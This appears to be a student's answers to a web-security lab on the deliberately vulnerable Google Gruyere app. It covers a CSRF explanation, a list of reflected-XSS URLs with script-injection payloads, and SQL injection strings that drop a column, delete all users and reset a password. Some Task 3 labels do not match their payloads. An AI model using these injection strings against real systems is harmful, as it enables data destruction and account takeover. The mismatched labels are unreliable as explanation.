Task 1:

Cross – site request forgery, also known as a one – click attack.

Simple user can recognize the attack if check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.

Task 2:

Cross – site scripting list:

1. [http://google-gruyere.appspot.com/173711652053/'%22()&%1%3CScRiPt%20%3Eprompt(0)%3C/ScRiPt%3E](http://google-gruyere.appspot.com/173711652053/'%22()&%251%3CScRiPt%20%3Eprompt(0)%3C/ScRiPt%3E)
2. <http://google-gruyere.appspot.com/173711652053/%3CScRiPt%3Eprompt(1)%3C/ScRiPt%3E>
3. <http://google-gruyere.appspot.com/173711652053/admin.php%3CScRiPt%3Eprompt(2)%3C/ScRiPt%3E>
4. [http://google-gruyere.appspot.com/173711652053/bigdump.php/<ScRiPt>prompt(3)</ScRiPt>](http://google-gruyere.appspot.com/173711652053/bigdump.php/%3cScRiPt%3eprompt(3)%3c/ScRiPt%3e)
5. <http://google-gruyere.appspot.com/173711652053/debug.php%3CScRiPt%3Eprompt(4)%3C/ScRiPt%3E>
6. [http://google-gruyere.appspot.com/173711652053/deletesnippet'"()&%1<ScRiPt >prompt(5)</ScRiPt>](http://google-gruyere.appspot.com/173711652053/deletesnippet'%22()&%251%3CScRiPt%20%3Eprompt(5)%3C/ScRiPt%3E)
7. [http://google-gruyere.appspot.com/173711652053/feed.gtl'"()&%1<ScRiPt >prompt(6)</ScRiPt>](http://google-gruyere.appspot.com/173711652053/feed.gtl'%22()&%251%3CScRiPt%20%3Eprompt(6)%3C/ScRiPt%3E)
8. [http://google-gruyere.appspot.com/173711652053/login<ScRiPt>prompt(7)</ScRiPt>](http://google-gruyere.appspot.com/173711652053/login%3CScRiPt%3Eprompt(7)%3C/ScRiPt%3E)
9. [http://google-gruyere.appspot.com/173711652053/newsnippet2<ScRiPt>prompt(8)</ScRiPt>](http://google-gruyere.appspot.com/173711652053/newsnippet2%3CScRiPt%3Eprompt(8)%3C/ScRiPt%3E)
10. [http://google-gruyere.appspot.com/173711652053/saveprofile<ScRiPt>prompt(9)</ScRiPt>](http://google-gruyere.appspot.com/173711652053/saveprofile%3CScRiPt%3Eprompt(9)%3C/ScRiPt%3E)
11. [http://google-gruyere.appspot.com/173711652053/snippets.gtl'"()&%1<ScRiPt >prompt(10)</ScRiPt>](http://google-gruyere.appspot.com/173711652053/snippets.gtl'%22()&%251%3CScRiPt%20%3Eprompt(10)%3C/ScRiPt%3E)
12. [http://google-gruyere.appspot.com/173711652053/upload2<ScRiPt>prompt(11)</ScRiPt>](http://google-gruyere.appspot.com/173711652053/upload2%3CScRiPt%3Eprompt(11)%3C/ScRiPt%3E)

Task 3:

1. Delete all users.

elwood'; ALTER TABLE users DROP COLUMN name; --

2. Delete table.

elwood'; DELETE FROM users; --

3. Change password.

elwood'; UPDATE users SET password='pwned' WHERE name='jake

Task 4:

Password: 12345678